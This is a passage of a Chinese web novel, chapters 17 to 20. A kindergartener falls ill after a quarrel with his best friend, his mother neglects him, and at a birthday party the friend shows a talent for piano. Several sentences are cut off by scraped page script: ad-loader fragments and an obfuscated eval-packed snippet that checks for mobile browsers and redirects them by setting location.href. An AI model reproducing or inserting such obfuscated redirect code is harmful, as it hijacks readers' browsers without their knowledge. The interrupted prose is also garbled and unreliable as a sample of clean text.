“我也不高兴!我也生气!路西鸣你是小气鬼。” “哼!” 徐知星卷着被子也躺下睡觉了。 平时两个最要好的小伙伴此刻中间像是突然多了一条无形的分界线。 虽然都不高兴,但终究都是小孩,生会闷气就睡着了。 一早醒来,徐知星难得还没等妈妈喊起床就醒了,他推了推旁边的路西鸣却没有像往常一样推醒,又喊了两声,路西鸣也没醒。 徐知星慌了,想起昨天晚上的事,光脚跑出房间大叫道:“妈妈,我把路西鸣气死了!” 17.伤心 林芳正在厨房准备煮面条,听见儿子这一响动,吓得连筷子都没拿稳。白花花的面条中赫然躺着两根枣红色的木筷。 “怎么了,星星?”林芳穿着围裙火急火燎地走进房间,弯下腰手掌探了下路西鸣的额头。 “妈妈,路西鸣是不是要死了?”徐知星手指抓着林芳的围裙,面色担忧,紧张地看着路西鸣。 “没有,发烧了。”林芳冷静地把徐知星抱起放在床上,“别光脚乱跑,你自己把袜子和衣服穿好,妈妈把西鸣带到楼下的诊所去看看,等会你爸送你去幼儿园。” 徐知星站在床上,眉毛皱在一起,不安地说:“我是不是把他气发烧了啊?” “不是,西鸣只是着凉了。”林芳一边说着一边给路西鸣穿好衣服,同时嘴里喊道:“你爸去买油条了,等会就回来。你在家乖乖等爸爸啊。” “好。” 林芳给路西鸣外面裹了件大人的外套,把他包住抱下楼。 路西鸣昨天睡觉着凉发烧了,脑袋昏昏沉沉,只能依稀听见徐知星和林芳模糊不清说话的声音。 徐知星眉头一直没有舒展开,到了幼儿园后,陈涵主动凑过来问:“星星,今天怎么就一个人啊?路西鸣呢?” “他被我气发烧了。”徐知星愁眉苦脸地说。 陈涵和魏乐光围过来,“怎么了?怎么发烧了啊。” 徐知星把昨天晚上的事情绘声绘色地描绘一通,“我说他小气鬼,他生气,气发烧了。” “我还以为他死了。” 陈涵嘴角紧抿,快要哭出来的样子,“那怎么办?路西鸣要死了怎么办?我也说他小气鬼了,我把他害死了。” 旁边小孩吓得嘴里的棒棒糖都快丢了,咧着嘴哭道:“我也说路西鸣是小气鬼,我是不是害死路西鸣了?” 小孩情绪传染十分快,不到片刻大半个幼儿园的孩子都哭起来了。 开始几个小孩哭还是担心自己把路西鸣害死,剩下的小孩则是刚上幼儿园两天不适应,悲伤的情绪一感染,一个接一个的都哭起来了。 张老师脸上的笑容早已经荡然无存了,整个幼儿园已经哭成一团了。 实验小学门口的小卖部里支了张小床,路西鸣躺在床上缓缓睁开眼打量着周围的一切,耳边响起女人说话的声音,他微微偏过头,听着电话的内容。 “卓儿,你真没空吗?西鸣发烧了,你不来看看?” 听到妈妈的名字,路西鸣睁开眼侧耳倾听林芳说话的内容。 “好吧,那你先忙吧。” 林芳挂掉电话后默默叹了口气,她本想着路西鸣发烧了,她怎么也得和梁卓说下,要不来看看孩子呢。 自从暑假把孩子丢到这,除了银行卡上会定时划一笔钱给她外,关于路西鸣的电话一个都没打过。 偶尔打两次电话,居然也只是梁卓问下林芳要不要什么礼物,自己在国外购物,顺便给她带一份。 至于路西鸣,林芳不提,梁卓也不问。 就连今天路西鸣发烧,梁卓也说自己在外地赶不过来,麻烦芳姐了。 正到林芳陷入思索时,手机发出两声振动,打开一看是一条银行汇款消息,以及梁卓的一条短信。 “芳姐,照顾孩子辛苦了,买点水果吃。” 林芳叹气更深了,她打这通电话又不是找梁卓要钱,当父母的怎么也得来看看孩子吧。路西鸣又这么小,才五岁多。 就在这时,小床上传来两声咳嗽声。 “西鸣,你醒了?”林芳温柔地问道,将路西鸣扶起来,“要不要喝水啊,阿姨给你倒水。” “嗯,谢谢阿姨。” 刚才林芳和梁卓的电话,路西鸣都听见了。 他妈不愿意来看他是正常的。 父母不喜欢他,他从小自我意识就过于强烈,不够温顺,不能满足父母渴望拥有一个乖小孩的愿望。 路西鸣接过林芳的温水,小口地喝着。林芳心疼地将路西鸣汗湿的头发往后缕,“中午想吃什么,阿姨给你做。” “都行。”路西鸣环顾四周,“星星呢?” “星星去幼儿园了。” “哦。”路西鸣将杯子还给林芳,乖乖地坐在床上不吵也不闹。 林芳更是一阵心疼,想起早上的事情问道:“昨天晚上你和星星吵架了?” “没有吵架。”路西鸣诚实地说。 “那是怎么了?” 或许是在生病时格外脆弱,路西鸣犹豫几秒说:“我不想他和别人玩,我也不想和别人玩,我只想他和我一个人玩,他不愿意。” 林芳听到这个答案时,确实有几分震惊,但面上不显,耐心地问:“为什么不想星星和别人玩呢?” “你和星星,还有其他小朋友一起玩不好吗?” 路西鸣摇摇头,“别的小朋友都不会喜欢我,我也不喜欢别的小朋友。” 只有徐知星喜欢他,徐知星爸爸妈妈也才喜欢他。 “不会的啊,你这么乖,又听话,别的小朋友都会喜欢你的。”林芳继续劝说。 路西鸣再次摇头。 林芳意识到路西鸣的心理状况确实和一般小孩不同,尤其是和徐知星截然相反,徐知星是巴不得小朋友越多越好,大家都和他玩,他最开心。 但路西鸣显然不是,他的世界只想要徐知星一个小朋友。 林芳又换了个思路问:“那你为什么不喜欢除了星星以外的其他小朋友呢?他们欺负你了吗?” 路西鸣想起之前上幼儿园小班的日子,那时候徐知星还在乡下没有转过来,他一个人在小班,没有人愿意和他说话,都排挤他,抢他东西。所以他才会动手打他们。 现在和他说话,和他一起玩的小朋友不过是因为他们想和徐知星玩,所以才带上他。 路西鸣记忆好,他清楚记得别人对他的好,也清楚记得别人对他的不好。 他知道,如果徐知星不在,就没人喜欢他了。幼儿园的小朋友也是,徐知星的父母也是。他们都是因为徐知星才喜欢他。 所以他希望徐知星只陪在他身边,只喜欢他。 对于林芳的问题,路西鸣沉默没有反应,没有摇头也没有说话。 林芳意识到可能真的有小朋友欺负过路西鸣,于是开导地说:“有的小朋友会欺负别人,那我们就不和他们玩。有的小朋友和星星一样,从来不欺负别人,我们就和 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这样的小朋友玩,好不好?” “如果有小朋友欺负你,你也要告诉叔叔阿姨还有老师,知道吗?” 路西鸣不想去区分到底谁会欺负他,谁不会欺负他,他只是清楚地知道徐知星不会欺负他。 就算他们之间会有一点点小矛盾,徐知星也会和他重归于好。 “西鸣,每个人都会在不断阶段遇到不同的朋友,星星可能会陪你很久,和你一起上学,但是等你们上了大学,工作后可能就不在一起了。所以你也要去接触不同的朋友对不对?到时候星星不和你在一起了,你也要有自己的朋友。” “为什么不和我在一起?”路西鸣不解地问。 “因为每个人有自己的路要走,星星有自己的路,你也有自己的路,就像星星会有自己的朋友,你以后也会有自己的朋友一样。”林芳眼中带笑地解释说。 路西鸣不理解,挠了挠头,他就要和徐知星当一辈子的朋友不分开。他抬眼又看了看林芳问:“我有自己的朋友,星星有自己的朋友才是正常的吗?” “对。”林芳给出了肯定的答案。 路西鸣僵硬地点点头,“我知道了。” 尽管林芳没有完全说服他,可是他知道他得装作一个正常的孩子的样子,而不是父母口中不正常的怪胎。 林芳以为路西鸣已经明白了,摸了摸他的头说:“那西鸣以后也尝试自己去交朋友好不好?” 路西鸣垂头盯着自己手指,半响后才回答。 “好。” 幼儿园内,徐知星闷闷不乐地坐在小板凳上,魏乐光走过来喊他的名字,“星星。” “怎么了?”徐知星擦了擦眼角,回头看了看对面的小朋友。 “你是不是和路西鸣住在一起啊?” “对啊,怎么了?” 魏乐光左右张望了下,小声说:“路西鸣可凶了,我之前和他是一个幼儿园的,他经常和小朋友打架。有一次小朋友都流血了,好多血。” 魏乐光夸张地用手在空中划拉一圈。 “你不要和他玩,他是坏蛋。” 徐知星皱了皱眉毛,歪头看着对面的男生,“路西鸣不是坏蛋。” “我不骗你的,星星,他真的会和小朋友打架,你要小心他打你。” 徐知星摇摇头,“路西鸣才不会打我。” “可他之前也打了其他小朋友。我亲眼看到的。”魏乐光表情认真不似作伪。 徐知星眨眨眼,小脑瓜转了转,“路西鸣平常不会和别人打架的,如果他和别人打架,一定是别人欺负他了。” “如果别人欺负我,我也会和别人打架。路西鸣不还手,别人就会一直欺负他。妈妈说的,和欺负我们的人打架不是坏蛋。” “欺负我们的人才是坏蛋。” “我不欺负路西鸣,他也不欺负我,我们才不会打架。” 魏乐光似懂非懂地听着徐知星的话,“可是为什么别人只欺负路西鸣,不欺负你呢?那是不是还是路西鸣不好?你好你就不受欺负,路西鸣不好,他才会受欺负。” 徐知星突然伸手往魏乐光胳膊轻轻打了下,一脸认真问:“那我现在欺负你,是不是你不好?” 18.思念 魏乐光觉得徐知星似乎说得有点道理,可是又觉得路西鸣很凶。 “我担心他打我。” 徐知星扣着自己的手指说:“他早上都快死了,怎么会打你呢。” 魏乐光一听到路西鸣要死了,顿时懵住了,教室内本就好多小孩在哭,情绪一感染,哭得人更多了。 张老师哄完这个小朋友,又哄那个。简直手忙脚乱,自顾不暇。 这期间只有徐知星没有哭,甚至还帮老师一起哄小朋友,给他们擦眼泪,拿零食。 在幼儿园内最后一个小朋友止住哭声时,张老师欣慰地看向徐知星,奖励给他记了朵小红花。 “因为星星一直不哭,还帮老师忙,是最勇敢最乖的小朋友。”张老师在小黑板上,给徐知星的名字后面花了朵小花,同时也从抽屉里拿出一张自己折的红色纸花递给徐知星。 徐知星握着小红花,礼貌地说了声谢谢,只是嘴角却没有太多笑容。 张老师站在讲台上继续说:“以后小朋友们谁听话,午休最乖,上课回答问题最积极,谁也会有小红花,好不好呀?” 下面异口同声地回答好。 徐知星紧紧捏着小红花,失落地看着右边的空位,路西鸣不在。 下课后,陈涵和魏乐光围在徐知星身边,“星星,我们想看看你的小花。” 现在全班只有徐知星有小花,珍贵的很。小朋友们围过来了,这个要看看,那个也要看看。 徐知星看着始终没有落在自己手上的小红花,目光也随之变得担忧。 “你们不要弄坏了。” “我还要回家给路西鸣看呢。” 小朋友们听到徐知星焦急的声音,又赶紧把小红花还了回去,担心地问:“星星,明天路西鸣要来上学吗?” “我不知道。” 徐知星手里握着小红花,想要给路西鸣显摆。 可是他不在。 从路西鸣住到他家以来,两个人还没有分开过,无论去哪都一起,吃饭上厕所睡觉玩玩具,路西鸣都会陪他。 徐知星越想越难过。 陈涵拍了拍徐知星胳膊说:“星星,我们出去玩吧。” 魏乐光:“对啊,我们去玩吧。” 徐知星被小伙伴们拉到户外去玩滑梯和跷跷板。 幼儿园内小孩多,玩具少,难免会因为抢一个设施而有争吵。 就连玩滑梯都有人抢在徐知星前面,明明大家都在排队,就是有小朋友插队。 徐知星不想和别人抢,默默退到一边更不开心了,路西鸣就从来不会和他抢,他们会一起玩。 被插队后,徐知星索性不玩了,直接回到教室,擦了擦湿润的眼角,心里期盼着早点放学。 他有点想哭,可是又想到上幼儿园前,妈妈说他是大孩子了,不能经常哭,只好又把眼泪憋回去了。 好不容易熬到放学铃响,徐知星迫不及待地跑到校门口,翘首以盼等着爸爸妈妈的身影。 徐明军站在门口朝徐知星挥了挥手:“星星,爸爸在这。” “爸爸!” 徐知星被徐明军举到半空中,迫不及待地问:“爸爸,路西鸣呢?” “路西鸣在小卖部呢,我刚好工地有空就来接你了啊。”徐明军拍了拍徐知星的屁股,“臭小子,怎么不问你爸,就问路西鸣。” 徐知星揉了揉屁股,嘟嘴说:“你不在这吗。” “路西鸣没有死吗?” “死什么啊,好着呢,不要乱说。”徐明军把徐知星抱着放在摩托车后排,“坐好啊。” 摩托车轰隆隆的叫声响了没几分钟就到小卖部门口了。 徐知星还没等徐明军抱他下来,自己就从摩托车后排跳下来,“妈妈,路西鸣,我回来了!” 路西鸣老远就听到摩托车的声音站在门口等着了。 “星星。” 路西鸣手上还留着吊水的针眼,声音都比平常虚弱不少,面色发白,嘴唇有些许干裂。 “路西鸣!”徐知星兴冲冲地跑过去,一把抱住了路西鸣。 “你没死啊。” 路西鸣:“……” “没有。” “你吓死我了,我早上以为你死了。”徐知星嘴角下撇,对于早上的事情还心有余悸。 “只是发烧了,不过打针后就退烧了。”路西鸣见徐知星焦急的样子,咳嗽两声后连忙解释。 “那就好。”徐知星从包里拿出小红花,分享道:“你看今天老师给我的小红花,好不好看?” 路西鸣目光停在那多大红色的红花上,认真地点点头,虚弱地说:“好看。” “全班只有我有,其他小朋友都没你。” 林芳走出来笑道:“这么厉害啊,为什么只有你有。” “因为他们以为路西鸣死了都在哭,就我没哭!” 路西鸣,徐明军,林芳:“……” 三人都一时沉默。 徐知星把小红花递给路西鸣,“送给你啦。” “好。”路西鸣珍惜地接过小红花。 旁边复印店的老板打趣地说:“为什么别的小朋友都在哭,你不哭?你和西鸣不是最好的朋友嘛?” 路西鸣视线从小红花移到徐知星身上,略微歪歪头,也有些奇怪。 徐知星骄傲地叉着腰说:“我憋着呢!” 他超级厉害,尽管他一直很伤心,但憋着不哭。 周围的大人笑成一团,就在这时旁边传来一个文雅的声音打听说:“路西鸣和徐知星家是在这里吗?” 林芳走过去应道:“你找谁啊?” 小卖部外站了两个一男一女两个小孩,旁边各自站了一个大人。 “涵涵,魏乐光,你们怎么来了?”徐知星惊讶道。 陈涵眼眶红红的,看见路西鸣后拍了拍胸口,“路西鸣,你没死啊!” “我以为我把你说死了。” 魏乐光也哀嚎道:“太好了,路西鸣你没死!” 路西鸣手中还捏着小红花,不知道自己就一天没去学校,怎么就被传死了。 他缓缓把目光转向徐知星,徐知星毫不知情地眨眨眼。 大人们说开后也就明白了,早上徐知星以为说路西鸣小气鬼,把他说死了,陈涵和魏乐光昨天也说路西鸣是个小气鬼,心惊胆战地忧虑了一天,觉得自己害死人了。 一见到父母就把这件事说了出来,父母们也不清楚,担心自己孩子闯了大祸,只好打听到了林芳的小卖部。 不过好在只是一场乌龙。 魏乐光手里还握着薯片,站在小卖部门口惊叹说:“星星,路西鸣,你家有好多零食啊。” 林芳笑道:“想吃就自己拿啊,阿姨请你们吃。” 魏乐光的爸爸忙说道:“这多不好意思。” 大人们还在假客气,小孩们已经闹开了。 “我想吃这个糖。”魏乐光指了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 指路西鸣旁边挂的棒棒糖。 路西鸣注意到大人的视线都聚焦在他周围,想起上午和林芳的话,从旁边撕了个棒棒糖递到魏乐光手里。 “路西鸣,谢谢你。” “不客气。”路西鸣客气地说。 林芳欣慰地点点头,这多好,大家一起玩。 四个小孩在小卖部玩了会,尤其是陈涵和魏乐光走之前手上都大包小包拿着不少零食。 到最后陈涵妈妈还邀请说:“下周六涵涵六岁生日,到时候大家都一起来啊。” “好!”徐知星应得最积极。 晚上徐知星躺在床上还说着陈涵生日的事情,“西鸣,涵涵生日要到了,我们到时候可以吃蛋糕了。 ” “你想吃蛋糕,我们明天就可以吃。” “可那不是生日蛋糕啊。蛋糕只有生日的时候吃才最好吃。” “我没吃过生日蛋糕。”路西鸣坦诚道。 徐知星啊了一声,趴在枕头上问:“你生日的时候不吃蛋糕吗?” “没吃过,我爸妈没时间给我过生日。” 徐知星毫不犹豫地说:“那等你下次生日的时候,我用压岁钱给你买个超级大的蛋糕。” “上面还有粉红色的荷花,还会发光,唱歌,用打火机点一下就开花了。” 路西鸣没见过这种生日蛋糕,只能凭着徐知星的描述去努力想象。 “你生日什么时候啊?” “三月十五。” “那你比我小。” “我是三月十二。” “我是哥哥。”徐知星在月色之中嘿嘿地笑了两声。 “你以后不能叫我星星了,你要叫我哥哥。” 路西鸣拒绝:“不。” “为什么,我比你大。” “只大三天。” “三天也是哥哥。” “不。” “哼,那我不跟你玩了。”徐知星开始耍小脾气。 “不行。” 徐知星翻了个身,“你就会说不,没意思。” “我还会说很多,你想听什么?” “什么都不想听,我想睡觉了。” 路西鸣在被子里拉了拉徐知星的手。 “干嘛?”徐知星打了个哈欠。 “你今天在幼儿园为什么要憋着不哭?” “因为妈妈上次跟我们说,长大了就是大孩子啊,不能哭。” 路西鸣不理解,“想哭就哭,为什么长大了就不能哭?” “可是妈妈说……” “那你憋着不哭,不难受吗?” “有点。” “那你以后想哭就哭啊。”很多大人的想法路西鸣都不理解,为什么长大了就不能哭,为什么长大了就要懂事,为什么大人说的话都是真理? “可是妈妈不让。” “那你就在我面前哭,我不告诉任何人。” “行。”徐知星趴在枕头上应道。 “你今天在幼儿园开心吗?”他不在开心吗? 徐知星别扭地说:“还行吧。” “还行是开心,还是不开心?” “一般般。” “那就是开心?” “也不算。” “那就是不开心?” 徐知星沉默半响说:“有点不开心。” “为什么?”路西鸣不停地追问。 “你不在,我就不开心。” 19.钢琴 路西鸣感冒好得差不多后,也赶上了陈涵周六的生日。 徐明军工程结束,对着镜子中的林芳林芳说:“你带孩子去吧,我留在家看小卖部。” “那辛苦老徐了。”林芳站在商场前,询问说:“星星,西鸣,妈妈这个裙子好看吗?” “好看,妈妈穿什么都好看。”林芳嘴角止不住笑,“天天吃糖,说话都这么甜,西鸣觉得呢?好不好看?” 路西鸣目光停在林芳淡红色的棉纺长裙上,也点点头,“好看。” “那我信西鸣的话。” “就这套打包吧。”徐明军指了指林芳,对着收银员道。 林芳拍了拍徐知星说:“行,你妈衣服我买好了,该你俩了。” 收银员笑道:“隔壁是我们家的童装,您要不去看看?” “你家这是双胞胎吧?” 徐知星问:“什么是双胞胎?” “就是妈妈同时生了两个小孩?” “那我不是双胞胎,路西鸣你是吗?你妈妈生了几个?” 路西鸣伸出一根手指。 收银员这才意识到弄错了,林芳也趁机解释说:“这是我朋友家的孩子。” “那您这次是两个小孩的衣服都看看吗?” “对,一起买了,要换季,你们俩去看看有没有喜欢的?” 路西鸣的印象中,父母带他买衣服的次数寥寥无几,像这种全家一起逛街的情况更是没有。 徐知星父母虽然起初对他有些芥蒂,但一起生活后对他和对徐知星并无区别,徐知星有的他都有,甚至因为上次徐知星弄丢的事情,对他更是有好了几分,就连当天晚上还特意做了他爱吃的油闷大虾。 他从来没和徐知星父母说过自己格外喜欢什么,都是他们看每次吃饭的情况判断的。偶尔遇上自己不喜欢的菜,被徐知星发现了,他也会告诉父母,路西鸣不爱吃,那这盘菜在餐桌上出现的频率就会降低,纵使出现,也会离他的距离比较远。 路西鸣看着身上的新衣服,衷心希望自己在徐知星家的日子能更久一点。 周六林芳带着徐知星和路西鸣去参加了陈涵的六岁生日宴。 复式别墅门口竖着一个醒目的告示牌。 “祝陈涵小朋友六岁生日快乐!” 举目四望,白色的棚栏将宽阔的院落围在中央,进入大门,映入眼帘的就是前院中间的圆形喷泉,顿觉凉爽之意,庭院之中花草树木茂密繁盛,旁边还有园丁不时浇水。 林涵暗暗惊叹陈涵家的富有,她低头看着面前的小屁孩,也都很可爱嘛。 有钱没钱,孩子健康平安快乐最好。 小孩虽然也惊叹别墅的漂亮富有,但更多的是对新事物的好奇。 保姆引着徐知星三人走进院子,还没等他们进大门,上方就传来一阵呼喊声。 “星星,西鸣,我在这里,快来找我玩啊。” 陈涵穿着淡粉色的公主裙,裙摆处绣满了白色的蝴蝶。 “涵涵,你今天好漂亮。”徐知星夸赞说。 保姆在旁边笑道:“要不我先带孩子们去玩,上面也有个阿姨照顾着。” “行,麻烦了。” 孩子们被带到一起玩,大人们在一处打交道。 徐知星蹦蹦跳跳地走到二楼,陈涵已经在楼梯口等着了,“星星,我今天是不是特别漂亮。” “对,你是仙女!” “你今天也穿得好可爱。” “因为我妈妈带我们刚买的新衣服。”徐知星拽着上衣下摆,把上面的卡通图案展平给陈涵看,还不忘路西鸣说:“路西鸣和我的一模一样,好看吧?” “好看。” “我们快去玩吧。”陈涵来到自己的玩具房,从地上捡起一只芭比娃娃,“我们玩过家家,我当妈妈,你们当爸爸。” “我不想玩娃娃,我想玩铲车。”徐知星把芭比娃娃递给路西鸣。 路西鸣眼神有些无奈,但还是乖乖拿在手中。 “可是我没有铲车。”陈涵摸了摸自己的公主裙。 魏乐光这时凑过来说:“涵涵,我跟你玩过家家,我当爸爸,你当妈妈好不好?” “好。”陈涵找到玩伴了,也不管徐知星和路西鸣了。 徐知星坐在黄色木马摇摇乐上,好奇地打量着周围,手指贴着自己耳边问:“西鸣,你听见了吗?” 路西鸣手上剥葡萄的动作停下,侧耳倾听回答说:“有人在弹钢琴。” “什么是钢琴啊?” 徐知星还没问完,路西鸣就把葡萄塞到他嘴里了。 徐知星嚼着葡萄继续问:“什么是钢琴啊?” “你见过吗?” “电视上见过一次。” “我还没见过。” 徐知星肚子里的好奇虫作祟,惦记着钢琴是什么样。 另一边的涵涵和魏乐光闹脾气了,“你是坏爸爸,我做的饭你都不吃,不和你玩了。”说着走到路西鸣旁边,“西鸣,我们玩过家家好不好?” 路西鸣摇摇头,“我想看钢琴。” 陈涵又把目光转向徐知星,“星星,我们玩过家家好不好?” “我也想看钢琴。”徐知星两只手抓着木马玩具的角晃了晃。 陈涵:“好吧,那我们去看钢琴,等会你们都要陪我玩过家家。我做菜你们都得吃了。” 魏乐光手上还拿着陈涵做的橡皮泥饭菜,同情地看向徐知星和路西鸣。 徐知星哪知道这些,一听说要看钢琴,迫不及待地跟着陈涵走。 陈涵推开琴房门说:“我妈妈经常在这里弹钢琴,我也会弹,我会弹小星星。” 魏乐光乐呵呵地笑道:“弹徐知星。” “不许弹我。”徐知星走在黑色的三脚架钢琴旁边,手垂在两侧,用眼睛肆无忌惮地打量着面前钢琴。 “这是我哥哥。”陈涵指了指钢琴面前穿着燕尾服的男生。 男生看上去比陈涵大两三岁,此刻专心地弹着钢琴。 徐知星蹲在旁边,捧着脸,带着满眼的羡慕。 一曲终了,男生才放下手冷漠地看着面前排排蹲在旁边的四个小孩。 “你们上来干嘛?” “因为我们想看钢琴,哥哥,这是我朋友,星星,西鸣,还有魏乐光。”陈涵挨个介绍说。 徐知星也跟着喊了声哥哥。 不料男生瞥了徐知星一眼,冷淡说:“我不是你哥哥。” 魏乐光本来也想张嘴的,结果被这一下吓住了,连忙闭上嘴。 路西鸣浅褐色的瞳孔毫不掩饰地表示着对面前男生的厌恶,“你为什么这么凶?我们也没很想让你当我们哥哥,你只是因为年纪大,我们才喊你哥哥。你要不在这,我们才不会喊你。” 男生一时被怼得无语,冷脸站起从徐知星和陈涵面前穿过。 直到他走出房间,琴房内压抑的音调才一泄而散。 徐知星还嘟着嘴很不开心的模样。 路西鸣问:“还不高兴吗?” 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13790187|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知星摇摇头,目光还停在面前的三角钢琴上,想要近距离观察下又因陈涵哥哥的态度不敢上前。 路西鸣主动问道:“涵涵我们能看看钢琴吗?” 哥哥一走,陈涵脸上又恢复笑脸。 “好啊,我们来玩钢琴。” 魏乐光都快缩成一团了,战战兢兢地说:“涵涵,你哥哥怎么这么凶啊。” 陈涵坐在琴凳上哼了一声,“我和他不是一个妈妈,其实他也不算我哥。” “他不喜欢我,我也不喜欢他。” “我们别说他了,快来玩。” 陈涵理了理裙摆,脸上又恢复成甜甜的笑容,“星星,西鸣,魏乐光,我们快来弹钢琴。” “怎么弹啊?”徐知星对钢琴最为好奇,凑过来问。 路西鸣也紧紧站在旁边。 魏乐光刚才经过那一遭,只敢在边边看着。 “按一下就发出声音了,这是白键,这是黑键。”陈涵手指在不同键盘上飞跃,发出不同的声音。 徐知星嘴巴微张,惊讶地看着面前大家伙。 “好神奇。” “你们也来试试。”陈涵挪开琴凳,留出足够四个小孩站在一起的空隙,“是不是很好玩?” “对。”徐知星最为起劲。 魏乐光和路西鸣都兴致缺缺的模样,陈涵也就图一个新鲜,只有徐知星乐此不疲地站在钢琴面前,手指奏响一个又一个琴键,不同声音落在他耳边都各不相同。 有的宛如清脆的铃铛,有的却像深沉的古钟。 似而欢快,似而悲伤,似而沉稳,似而轻松。 但无论那种都让徐知星沉迷,甚至连琴房内多了个人都没发现。 “星星,这么喜欢钢琴吗?”沈蕙身穿一身白色鱼尾裙,目光温柔地停在徐知星身上。 徐知星这才从钢琴的世界中如梦初醒,不好意思地将手背到身后,脸颊微红,害羞地喊了声阿姨。 沈蕙是钢琴老师,从刚才进来就一直在观察徐知星,他按键有力,有自己的节奏,不同的琴键组合在一处,断断续续能听出成调的音乐,像是陈越刚才弹奏的《欢乐颂》的一小节。 “星星之前也学过钢琴吗?” 徐知星摇摇头,伸出一根手指,“我今天第一次看见钢琴。” 沈蕙目光露出几分诧异,坐在琴凳上仔细询问说:“那你之前听过《欢乐颂》?” “什么是欢乐颂?”徐知星神情天真,不似作伪。 陈涵抢答说:“刚才陈越谈的就是欢乐颂。” 陈越从接触钢琴到熟练地弹奏《欢乐颂》用了整整一年半的时间。 沈蕙又问了几个关于钢琴的问题,徐知星都一无所知。 “刚才涵涵哥哥弹得时候我记住了,然后我就试着按了按琴键。”徐知星解释说。 沈蕙揉了揉徐知星脸,又看了看徐知星的手指,眼神已经全然变了,“好孩子。” “你妈妈在哪,阿姨等会去找她。” 徐知星摇摇头,“应该在下面,怎么了?” 沈蕙目光激动,又抱了抱徐知星,“没事,等会阿姨去找你妈妈。” “我们先下楼去吃饭好不好?” 往常听到吃饭,徐知星肯定是第一个响应的,只是今天却依依不舍地看着钢琴,一步三回头地走下楼。 走到宴会厅时,路西鸣却顿住了脚步。 “怎么了,西鸣?”徐知星问。 路西鸣眼睫轻颤,小声说:“我看见我妈了。” 20.学琴 梁卓坐在圆桌前和身旁的朋友随意攀谈聊天,恍惚间她察觉到一束落在自己身上的视线,不经意的回头,神情微滞。 徐知星也顺着路西鸣手指的方向看见了梁卓。 “梁阿姨。”徐知星朝梁卓挥了挥手。 母子俩想装作看不见对方都难。 梁卓岿然不动,徐知星小跑过来笑着问,“梁阿姨你也来参加涵涵生日会吗?” “嗯。”梁卓翘着腿点点头,沈蕙是她美容院的大客户。 “你们和陈涵一个幼儿园?”梁卓很快反应道。 “对啊,阿姨你不知道吗?” 梁卓:“……” 路西鸣这时也已经慢腾腾地挪过来了,嘴像是涂了一层胶水般,费力地张开,小声喊道:“妈妈。” 对于这一声,梁卓似乎很意外,平时路西鸣见到她,向来是不说话的,她上下打量着路西鸣,身上都是新衣服新鞋子。 “小芳阿姨给你买的?” “嗯。”路西鸣点点头。 “钱够用吗?” 路西鸣摇摇头。 “不够?” “不知道。” 梁卓:“……” “钱不够给你爸打电话。” “他手机号你记下,整天在鹏城,也不管你,抚养费当初他可说的是按最高的给。”梁卓翻出手机号给路西鸣看了一眼。 “记住没?” 路西鸣点点头。 “没事就去玩吧。”梁卓也没什么想说的。 路西鸣却犹豫不前,半响后突然问:“一架钢琴多少钱?” 梁卓愣了下,“看买什么样的,好的几十万都有,便宜的几千也有,几万也有吧。” “你想弹钢琴?” 路西鸣摇摇头,又顿住点点头。 梁卓看不明白,这一会点头一会摇头的,“算了,你去玩吧。” 当路西鸣准备离开时,身后响起林芳热情的声音,“卓儿!” 梁卓脸上迅速露出笑意朝林芳挥挥手,林芳双手握住梁卓的手坐在旁边道:“你今天也来了,好巧啊。” “涵涵她妈是我店客户,你刚才见到了吗?” “刚才进来的时候看到了,听星星说,她妈妈找我有事情,还不知道什么事呢,我正准备去找她的,老远我就看到有个人背影特别像你,我开始还不敢认呢,要不是星星过来,我还真不知道是你。”林芳熟络地和梁卓攀谈。 路西鸣和徐知星坐在旁边,手指扣着桌布,惦记着桌上的饭菜。 “有烤鸭,还有虾,我等会想吃虾。”徐知星眼巴巴地说。 路西鸣眨眨眼,“还有鸡汤。” “我不想喝鸡汤。” “那你吃鸡肉。” 家里每次熬鸡汤,林芳都要给徐知星和路西鸣一人盛一大碗,徐知星喝两口就不愿意喝了,都是趁大人不注意,偷偷倒在路西鸣碗里。 只要有什么徐知星不爱吃,大人又说要多吃点的食物,路西鸣就要偷偷成为徐知星的“嘴替”。 林芳好些日子没见到梁卓了,有一肚子话要说,这时一个声音插进来问:“知星妈妈?” 林芳应了一声,又回头看向徐知星,“怎么了,涵涵妈妈。” 沈蕙简单地说了下刚才在琴房的事情,“我觉得星星在弹钢琴上有天分的,你要不要考虑以后让星星学弹琴?” 林芳略显无措,一时没反应过来。 别说钢琴了,她和徐知星他爸都是五音不全,唱歌从来不在调的人。 梁卓接下话说:“芳姐这是好事啊,你没听过那句话吗,学钢琴的孩子都不会变坏,小孩有天份多好,说不定就是下一个莫扎特了。” 徐知星偷听着大人说话,悄悄问路西鸣,“莫扎特是什么?我只知道牛轧糖,莫扎特能吃吗?” “莫扎特是钢琴家,不能吃。” “钢琴的家在哪里?” “不是钢琴的家,是钢琴家,弹钢琴的。” “当钢琴家就可以天天弹钢琴了?” “对。” “那我想当钢琴家,以后天天弹钢琴。” 徐知星和路西鸣的话被林芳听到心里去了,当天下午回去了就和徐明军说起此事。 徐明军正在工地里监工,擦了擦额角的汗说:“那你带星星去试试呗,小孩有兴趣就行。” “课贵,钢琴更贵,你知道一节课多少钱吗?” “多少?” “两百,这还是有涵涵妈的关系,找的音乐学院学校的教授,更贵一点的老师上千的都有,这都是专业老师,涵涵妈说了,刚开始学琴不能图便宜,打基础很重要,还有钢琴,一架就要好几万。”林芳虽然知道徐知星对钢琴感兴趣,但是这学钢琴不是个简单的开销,学琴,请老师,方方面面都要花钱,况且前些日子为了这个小卖部就投了好些钱进去。 徐明军抹了把脸说:“钱的事你别操心,你先带星星去上课试试,他要感兴趣就学呗,至于钢琴嘛,也不着急买,反正琴行有。” 